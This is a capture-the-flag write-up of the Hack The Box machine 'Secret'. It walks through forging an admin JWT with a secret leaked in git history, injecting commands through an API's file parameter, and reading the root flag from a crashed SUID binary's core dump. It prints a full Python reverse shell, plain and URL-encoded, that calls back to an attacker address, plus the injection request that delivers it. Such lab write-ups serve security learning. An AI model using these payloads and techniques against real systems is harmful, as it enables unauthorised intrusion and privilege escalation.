Secret — Hack The Box Writeup

Shivsarthak
7 min readDec 8, 2021

https://app.hackthebox.com/machines/Secret

We start the machine from hack the box interface and get the ip address of the machine :

Enumeration

Running a nmap scan we get the following results

┌──(kali㉿kali)-[~] └─$ nmap 10.10.11.120 Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-11 13:52 EST Nmap scan report for 10.10.11.120 Host is up (0.084s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3000/tcp open ppp Nmap done: 1 IP address (1 host up) scanned in 5.85 seconds

We observe that ssh, and http ports are open along with port 3000. This seems to be a port running with a user created service.

We open browser to see whats running on the http port and get this API documentation website.

The Website contains documentation for an express-nodejs API application.

This explains the port 3000 open in the nmap scan earlier. The port must be serving the api endpoint for this application.

The website even lets us download full source code of the api service.

The api seems to be a simple authentication appliation which got the following endpoints

/api/user/register /api/user/login /api/priv

Attacking

To test the API commands i make requests to the endpoints by the following commands

┌──(kali㉿kali)-[~] └─$ curl -H 'Content-Type: application/json' -X POST -d '{"name": "admin123", "email": "admin123@admin.com", "password": "admin123" }' 10.10.11.120:3000/api/user/register

The response:

{"user":"admin123"}

Then trying to log in using the same credentials we used while creating an account

┌──(kali㉿kali)-[~] └─$ curl -H 'Content-Type: application/json' -X POST -d '{"email": "admin123@admin.com", "password": "admin123"}' 10.10.11.120:3000/api/user/login

The response:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThkNmI4NzE3ODQyYTA0NTdjOGE0NmQiLCJuYW1lIjoiYWRtaW4xMjMiLCJlbWFpbCI6ImFkbWluMTIzQGFkbWluLmNvbSIsImlhdCI6MTYzNjY1ODMxMX0.nL2Uq6k8MWBw9qEReVED3WaWSeZaIRaZ5vwke8T9pJA

The response seems to be a JWT (JSON web Token, encoded using a secret key)

We browse the source code we earlier downloaded from the website and we see its got a .git directory

Opening git logs to check history of the commits

The second last commit has message

removed .env for security reasons

We explore files for that commit by

We get the TOKEN_SECRET in .env file which must be the secret key for the JWT encoding.

-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

Further exploring private routes in the API server we see that for a user to be an admin the username should be ‘theadmin’

We have the JWT secret signing key and we have the JWT token we obtained from the login step, which means we can tamper our JWT and change the name to ‘theadmin’ which will grant us access to private routes.

We can change the name in our JWT from the website https://jwt.io

We copy the obtained JWT and sent it as a request header to the API endpoint

┌──(kali㉿kali)-[~] └─$ curl -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThkNmI4NzE3ODQyYTA0NTdjOGE0NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluMTIzQGFkbWluLmNvbSIsImlhdCI6MTYzNjY1ODMxMX0.DIylbTPk5K12O1LN3SengBhq2tJ3ZXXoAk_CfjttR3k' -X GET 10.10.11.120:3000/api/priv

The Response

{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}

We also see a private route named

in the source code which takes a filename as a query and concatenates it to execute as a command on machine using javascript’s

exec() function

The filename query can be used to inject malicious code (Remote Code Execution)

For this we will be using a python reverse shell and url encoding it to deliver it over web

Reverse shell

We update our ip address and socket port

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.29",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

URL Encoded reverse shell

python3%20-c%20%27import%20socket%2Cos%2Cpty%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.14.29%22%2C1234))%3Bos.dup2(s.fileno()%2C0)%3Bos.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bpty.spawn(%22%2Fbin%2Fsh%22)%27%0A

Payload delivery

On attacker machine we first start a listener

┌──(kali㉿kali)-[~/Desktop/local-web] └─$ nc -nvlp 1234 listening on [any] 1234 ...

Then we perform a curl request containing the payload

┌──(kali㉿kali)-[~] └─$ curl -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThkNmI4NzE3ODQyYTA0NTdjOGE0NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluMTIzQGFkbWluLmNvbSIsImlhdCI6MTYzNjY1ODMxMX0.DIylbTPk5K12O1LN3SengBhq2tJ3ZXXoAk_CfjttR3k' -X GET '10.10.11.120:3000/api/logs?file=2;python3%20-c%20%27import%20socket%2Cos%2Cpty%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.14.29%22%2C1234))%3Bos.dup2(s.fileno()%2C0)%3Bos.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bpty.spawn(%22%2Fbin%2Fsh%22)%27%0A'

We successfully get the reverse shell spawned at the attacker machine.

┌──(kali㉿kali)-[~/Desktop/local-web] └─$ nc -nvlp 1234 listening on [any] 1234 ... connect to [10.10.14.29] from (UNKNOWN) [10.10.11.120] 43308 $ whoami whoami dasith $ ls ls index.js node_modules package-lock.json routes validations.js model package.json public src $ cd .. cd .. $ ls ls local-web user.txt

We finally get the user flag in user.txt file

SUID Binaries

find / -type f -perm -u=s 2>/dev/null

Gives us an intresting file with setuid at /opt/count. looking for the files in opt directory we are given the code for the binary too.

dasith@secret:/opt$ ls code.c count valgrind.log

Exploring the code provided along the binary

Looking at the source code the write functionality looks intresting but the problem is that we cannot write in privilleged mode and the content of file so there is no possible way we can write something to high-privileged file or see the content of higher privileged file.

If we crash the execution of the code after it read a root file. We might be able to read the root flag from the memory dump of the crash logs.

Most of the time if we crash the process in between the report is most of the time saved in /var/crash in linux distro.

For this we need 2 shells 1 -> To run the count binary 2 -> To create crash

Shell 1

dasith@secret:/$ cd /opt dasith@secret:/opt$ ./count -p /root/root.txt y

Now let’s go to shell 2 to crash the binary

Shell 2

dasith@secret:/opt$ ps -aux | grep count root 812 0.0 0.1 235664 7428 ? Ssl 10:14 0:00 /usr/lib/accountsservice/accounts-daemon dasith 67786 0.0 0.0 2488 580 ? S 13:25 0:00 ./count -p dasith 67788 0.0 0.0 6432 736 ? S 13:25 0:00 grep --color=auto count

Now kill the process with the PID corresponding to ./count -p

dasith@secret:/opt$ kill -BUS 67786

Now you can check the shell1 if the process is been crashed.

Shell 1

dasith@secret:/opt$ ./count -p /root/root.txt y bash: [67393: 3 (255)] tcsetattr: Inappropriate ioctl for device

Indeed we have crashed the process so lets check the /var/crash for the report.

dasith@secret:/opt$ cd /var/crash dasith@secret:/opt$ ls -al total 88 drwxrwxrwt 2 root root 4096 Oct 31 13:24 . drwxr-xr-x 14 root root 4096 Aug 13 05:12 .. -rw-r----- 1 root root 27203 Oct 6 18:01 _opt_count.0.crash -rw-r----- 1 dasith dasith 28127 Oct 31 13:24 _opt_count.1000.crash -rw-r----- 1 root root 24048 Oct 5 14:24 _opt_countzz.0.crash dasith@secret:/opt$ mkdir /tmp/oopsie dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/oopsie dasith@secret:/var/crash$ cd /tmp/oopsie dasith@secret:/tmp/oopsie$ ls -al total 444 drwxr-xr-x 2 dasith dasith 4096 Oct 31 13:31 . drwxrwxrwt 16 root root 4096 Oct 31 13:30 .. -rw-r--r-- 1 dasith dasith 5 Oct 31 13:31 Architecture -rw-r--r-- 1 dasith dasith 380928 Oct 31 13:31 CoreDump -rw-r--r-- 1 dasith dasith 1 Oct 31 13:31 CrashCounter -rw-r--r-- 1 dasith dasith 24 Oct 31 13:31 Date -rw-r--r-- 1 dasith dasith 12 Oct 31 13:31 DistroRelease -rw-r--r-- 1 dasith dasith 10 Oct 31 13:31 ExecutablePath -rw-r--r-- 1 dasith dasith 10 Oct 31 13:31 ExecutableTimestamp -rw-r--r-- 1 dasith dasith 2 Oct 31 13:31 _LogindSession -rw-r--r-- 1 dasith dasith 5 Oct 31 13:31 ProblemType -rw-r--r-- 1 dasith dasith 7 Oct 31 13:31 ProcCmdline -rw-r--r-- 1 dasith dasith 4 Oct 31 13:31 ProcCwd -rw-r--r-- 1 dasith dasith 97 Oct 31 13:31 ProcEnviron -rw-r--r-- 1 dasith dasith 2144 Oct 31 13:31 ProcMaps -rw-r--r-- 1 dasith dasith 1342 Oct 31 13:31 ProcStatus -rw-r--r-- 1 dasith dasith 1 Oct 31 13:31 Signal -rw-r--r-- 1 dasith dasith 29 Oct 31 13:31 Uname -rw-r--r-- 1 dasith dasith 3 Oct 31 13:31 UserGroups

We have the coredump file so let’s check it out using strings or else it will give out gibberish output.

dasith@secret:/tmp/oopsie$ strings CoreDump Path: esults a file? [y/N]: words = 2 Total lines = 2 oot/root.txt <----FLAG---->

We get the root flag from here

Originally published at http://github.com.

--

--

Shivsarthak

Founding Engineer @ meetspur.app | Certified Ethical Hacker | Cyber Security Enthusiast